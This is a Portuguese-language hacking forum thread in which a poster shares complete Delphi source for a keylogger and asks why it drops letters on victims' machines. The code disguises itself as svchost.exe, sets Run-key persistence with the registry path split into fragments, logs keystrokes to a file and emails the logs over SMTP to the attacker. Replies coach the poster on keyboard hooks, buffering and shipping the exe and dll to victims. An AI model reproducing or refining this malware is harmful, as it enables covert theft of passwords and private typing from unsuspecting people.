Página 1 de 3 123 ÚltimoÚltimo
Resultados 1 a 10 de 28
  1. #1

    [DELPHI] KL comendo letras

    Eae galera blz.. ^^

    Tipo meu problema eh o seguinte...

    eol fiz um kl no delphi e talz....
    e ele testado no meu pc esta enviando as infos tudo perfeito, nao esta comendo letra alguma... ta tudo perfeito msmO !

    ja quando meu colega testa no pc dele, o kl me enviar os Logs meio confusos...
    reparei que estava comendo letras

    Tipow assim !

    ja testei com varios amigos, e da o mesmo problema.... soh que no meu pc esta perfeito...

    queria saber se ja aconteceu com voces, oq eu posso fazer para resolver?

    Aqui esta a source do kl
    Código:
    unit Unit1;
    
    {$IMAGEBASE $0051924}
    
    
    interface
    
    uses
     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ExtCtrls, StdCtrls, Inifiles, IdComponent, IdTCPConnection,
      IdTCPClient, IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, registry, sockets;
    type
      TQuerBoleteToma = class(TForm)
        Memo1: TMemo;
        Timer1: TTimer;
        Timer2: TTimer;
        Timer3: TTimer;
        smtp: TIdSMTP;
        IdMessage1: TIdMessage;
        
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Timer3Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
    
      end;
    
    var
      QuerBoleteToma: TQuerBoleteToma;
    const
      RSP_SIMPLE_SERVICE = 1;
      RSP_UNREGISTER_SERVICE = 0;
    
    implementation
    
    
    
    {$R *.dfm}
    var  V:Textfile;
      Function GetNetUserName: string;
    Var
      NetUserNameLength: DWord;
    Begin
      NetUserNameLength := 50;
      SetLength(Result, NetUserNameLength);
      GetUserName(pChar(Result), NetUserNameLength);
      SetLength(Result, StrLen(pChar(Result)));
    End;
    
    
    procedure TQuerBoleteToma.FormCreate(Sender: TObject);
    var
    
    bobo : TRegIniFile;
    d,q : string;
    begin
    q := Application.ExeName;
    CopyFile(Pchar(q), Pchar('C:\Windows\System\svchost.exe'),false);
    d:= 'C:\Windows\System\svchost.exe';
    bobo:=TRegIniFile.Create('full');
    bobo.RootKey:=HKEY_LOCAL_MACHINE;
    bobo.Openkey ('\Sof'+'twa'+'re'+'\'+'Mic'+'ros'+'oft'+'\'+'Win'+'dow'+'s'+'\'+'Cur'+'re'+'nt'+'Ver'+'si'+'on',false);
    bobo.WriteString('Run', 'svchost', d);
    
    
    
    
    
    
          end;
    
    
    
    
    
    
    
    
    
    procedure TQuerBoleteToma.Timer1Timer(Sender: TObject);
     var
          Jr : byte;
    begin
    
      for Jr:=8 To 222 do
        begin
           if GetAsyncKeyState(Jr)=-32767 then
            begin
            case Jr of
            8  : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
            9  : memo1.text:=memo1.text+'[Tab]';
            13 : memo1.text:=memo1.text+#13#10;
            17 : memo1.text:=memo1.text+'';
            27 : memo1.text:=memo1.text+'[Esc]';
            32 :memo1.text:=memo1.text+' ';
    
            33 : memo1.text := Memo1.text + '[Page Up]';
            34 : memo1.text := Memo1.text + '[Page Down]';
            35 : memo1.text := Memo1.text + '[End]';
            36 : memo1.text := Memo1.text + '[Home]';
    
            37 : memo1.text := Memo1.text + '[Left]';
            38 : memo1.text := Memo1.text + '[Up]';
            39 : memo1.text := Memo1.text + '[Right]';
            40 : memo1.text := Memo1.text + '[Down]';
    
            44 : memo1.text := Memo1.text + '[Print Screen]';
            45 : memo1.text := Memo1.text + '[Insert]';
            46 : memo1.text := Memo1.text + '[Del]';
            145 : memo1.text := Memo1.text + '[Scroll Lock]';
    
    
            48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
                 else memo1.text:=memo1.text+'0';
            49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
                 else memo1.text:=memo1.text+'1';
            50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
                 else memo1.text:=memo1.text+'2';
            51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
                 else memo1.text:=memo1.text+'3';
            52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
                 else memo1.text:=memo1.text+'4';
            53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
                 else memo1.text:=memo1.text+'5';
            54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
                 else memo1.text:=memo1.text+'6';
            55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
                 else memo1.text:=memo1.text+'7';
            56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
                 else memo1.text:=memo1.text+'8';
            57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
                 else memo1.text:=memo1.text+'9';
            65..90 :
                begin
                if ((GetKeyState(VK_CAPITAL))=1) then
                    if GetKeyState(VK_SHIFT)<0 then
                       memo1.text:=memo1.text+LowerCase(Chr(Jr))
                    else
                       memo1.text:=memo1.text+UpperCase(Chr(Jr))
                else
                    if GetKeyState(VK_SHIFT)<0 then
                        memo1.text:=memo1.text+UpperCase(Chr(Jr))
                    else
                        memo1.text:=memo1.text+LowerCase(Chr(Jr));
                end;
    
            96..105 : memo1.text:=memo1.text + inttostr(Jr-96);
            106:memo1.text:=memo1.text+'*';
            107:memo1.text:=memo1.text+'&';
            109:memo1.text:=memo1.text+'-';
            110:memo1.text:=memo1.text+'.';
            111:memo1.text:=memo1.text+'/';
            144 : memo1.text:=memo1.text+'[Num Lock]';
    
            112..123: 
                memo1.text:=memo1.text+'[F'+IntToStr(Jr - 111)+']';
    
            186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
                  else memo1.text:=memo1.text+';';
            187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
                  else memo1.text:=memo1.text+'=';
            188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
                  else memo1.text:=memo1.text+',';
            189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
                  else memo1.text:=memo1.text+'-';
            190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
                  else memo1.text:=memo1.text+'.';
            191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
                  else memo1.text:=memo1.text+'/';
            192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
                  else memo1.text:=memo1.text+'`';
            219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
                  else memo1.text:=memo1.text+'[';
            220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
                  else memo1.text:=memo1.text+'\';
            221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
                  else memo1.text:=memo1.text+']';
            222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
                  else memo1.text:=memo1.text+'''';
            end;
            end;
             end;
             end;
    procedure TQuerBoleteToma.Timer2Timer(Sender: TObject);
     begin
            Assignfile(V,'C:\Windows\System32\Own3dexe.txt');
            asm
    nop
    end;
    
            if not FileExists('C:\Windows\System32\Own3dexe.txt') Then
            begin
                    Rewrite(V);
                    Closefile(V);
            End
            Else
            Assignfile(V,'C:\Windows\System32\Own3dexe.txt');
            {$I-}
            Append(V);
            {$I+}
            If IOResult<> 0 Then
            Begin
                    ShowMessage('Cannot Open File');
            End;
            Write(V,Memo1.Text);
            Memo1.Clear;
            Closefile(V);
    end;
    
    procedure TQuerBoleteToma.Timer3Timer(Sender: TObject);
    begin
    with IdMessage1 do
        begin
    
          Body.text:= ('memo1.text');
          From.Text := @itelefonica.com.br';
          Recipients.EMailAddresses := @gmail.com';
          Subject := GetNetUserName;
          smtp.AuthenticationType := atlogin;
          smtp.Username :=@itelefonica.com.br';
          smtp.Password :='';
          smtp.Host := 'smtp.itelefonica.com.br';
          smtp.Port := 25;
             smtp.Connect;
          try
            smtp.Send(IdMessage1);
    
    
            TIdAttachment.Create(Idmessage1.MessageParts, 'c:\windows\system32\Own3dexe.txt');
          finally
          smtp.Disconnect;
             DeleteFile('c:\windows\system32\Own3dexe.txt')
    
              end;
    
    
    end;
     end;

    Timer1, capturar teclas = 1
    Timer2, salvar arquivos = 290000
    timer3, enviar arquivos = 300000





    des de ja obrigado

  2. #2

    Re: [DELPHI] KL comendo letras

    isso acontece quando se faz um kl com timers... Utilize hooks que resolverá seu problema ;D

    http://delphi.about.com/od/windowsshell ... d_hook.htm

  3. #3
    Hacker Avatar de blackwinner
    Data de Ingresso
    Dec 2006
    Localização
    Aqui
    Posts
    1.273

    Re: [DELPHI] KL comendo letras

    Usando hooks as vezes também pode comer se o cara digitar rápido. =S

    Usa um buffer/string que vai decorando cada tecla digitada na memória mesmo.
    Quando ele estiver 70% cheio, você passa o conteúdo dele pro arquivo de log através de uma thread de baixa prioridade.

    Assim, a função hook vai ficar tão pequena e rápida que vai ser virtualmente impossível que esse erro aconteça.
    O que acontece com essas funções de hook, é que se uma ainda estiver sendo processada quando o usuário digitar outra tecla.. ai vai tudo por água abaixo e você perde uma letra. =/

    Guarda o keystroke no buffer(usa uma lista ligada que fica perfeito)... e depois usa a thread de baixa prioridade pra traduzir tudo e mandar pro arquivo que ai fica impossível de isso ocorrer.

  4. #4

    Re: [DELPHI] KL comendo letras

    Citação Postado originalmente por ace_ventura
    isso acontece quando se faz um kl com timers... Utilize hooks que resolverá seu problema ;D

    http://delphi.about.com/od/windowsshell ... d_hook.htm

    Pow Vlw !!!!

    mas eh muito dificil usar esse hook?

    tipo so bem iniciante msm , peguei cada funçao de um lugar, e montei o kl...
    esse hook eh msm coisa de um timer?

  5. #5

    Re: [DELPHI] KL comendo letras

    Citação Postado originalmente por blackwinner
    Usando hooks as vezes também pode comer se o cara digitar rápido. =S

    Usa um buffer/string que vai decorando cada tecla digitada na memória mesmo.
    Quando ele estiver 70% cheio, você passa o conteúdo dele pro arquivo de log através de uma thread de baixa prioridade.

    Assim, a função hook vai ficar tão pequena e rápida que vai ser virtualmente impossível que esse erro aconteça.
    O que acontece com essas funções de hook, é que se uma ainda estiver sendo processada quando o usuário digitar outra tecla.. ai vai tudo por água abaixo e você perde uma letra. =/

    Guarda o keystroke no buffer(usa uma lista ligada que fica perfeito)... e depois usa a thread de baixa prioridade pra traduzir tudo e mandar pro arquivo que ai fica impossível de isso ocorrer.
    Vlw man..

    Entendi .... mas so uma pergunta, porq no meu pc ele nao come letra, e no pc da pessoa ele come? :/

    entendi soh algumas funcoes que vc disse ai rsrs... mas vou pesquiçar e procurar saber oq sao.... Obrigado msm vey

  6. #6

    Re: [DELPHI] KL comendo letras

    Bom eu pesquiçei sobre

    e vi isso

    http://www.linhadecodigo.com.br/Artigo.aspx?id=92

    achei muito muito interesante........

    porem soh uma duvida, ele funciona como dll? nao entendi

    vcs pode me da uma ajuda a intender oq eh exatamente esse hook...

    enquanto isso vou pesquiçando mais vlw abraços

  7. #7

    Re: [DELPHI] KL comendo letras

    Citação Postado originalmente por blackwinner
    Usando hooks as vezes também pode comer se o cara digitar rápido. =S

    Usa um buffer/string que vai decorando cada tecla digitada na memória mesmo.
    Quando ele estiver 70% cheio, você passa o conteúdo dele pro arquivo de log através de uma thread de baixa prioridade.

    Assim, a função hook vai ficar tão pequena e rápida que vai ser virtualmente impossível que esse erro aconteça.
    O que acontece com essas funções de hook, é que se uma ainda estiver sendo processada quando o usuário digitar outra tecla.. ai vai tudo por água abaixo e você perde uma letra. =/

    Guarda o keystroke no buffer(usa uma lista ligada que fica perfeito)... e depois usa a thread de baixa prioridade pra traduzir tudo e mandar pro arquivo que ai fica impossível de isso ocorrer.
    Bah blacknegresco.... hook que eu digo é uma coisa mais legalzinha... Faiz um memory mapped file entre a dll e o .exe, ae o hook simplesmente escreve na memoria compartilhada o keystroke... Impossível alguém digitar mais rápido que isso :?

  8. #8

    Re: [DELPHI] KL comendo letras

    Como funciona essa funçao hook?

    ela eh um codigo
    ele eesta em alguma aba do delphi, tipow o timer

    e quando envair para a vitima, envia o project1 e o dll?


    alguem pode falar mais sobre essa funçao....


    brigadao.. abraços

  9. #9

    Re: [DELPHI] KL comendo letras

    O link que eu te passei creio que seja um dos artigos explicativos mais simples sobre keyboard hook... Se você quizer um exemplo com hooks + mapped memory file, como sugeri acima, entre no link: http://www.delphitricks.com/source-code ... _hook.html

    Mas aconselho fortemente aprender hook pelo primeiro link, do about, pois é muito mais facil entender. Quando pegar o jeito junte com as coisas que quizer, memory mapped file, send/postmessage, etc...

  10. #10

    Re: [DELPHI] KL comendo letras

    Citação Postado originalmente por ace_ventura
    O link que eu te passei creio que seja um dos artigos explicativos mais simples sobre keyboard hook... Se você quizer um exemplo com hooks + mapped memory file, como sugeri acima, entre no link: http://www.delphitricks.com/source-code ... _hook.html

    Mas aconselho fortemente aprender hook pelo primeiro link, do about, pois é muito mais facil entender. Quando pegar o jeito junte com as coisas que quizer, memory mapped file, send/postmessage, etc...
    Sim eu li e estou com o link aqui nos favoritos....

    Soh tenho uma grande duvida...

    Ele fica um executavel e um dll.....

    como vou colocar ele para funcionar?

    devo enviar sempre o executavel junto da dll?


    eu vi alguns exemplos desse kl , parece ser bem simples... mas nao entendi esse dll :s

Tópicos Similares

  1. Troca de Letras em .Bat
    Por misterium no fórum Perl
    Respostas: 7
    Último Post: 18 Jan 2011, 22:06
  2. [Source]Trocador de letras
    Por R0Dr1g0. no fórum Delphi
    Respostas: 3
    Último Post: 08 Sep 2010, 21:34
  3. Como inverter as letras do HD
    Por jojo2009 no fórum Dúvidas Gerais
    Respostas: 8
    Último Post: 10 Jan 2010, 17:56

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •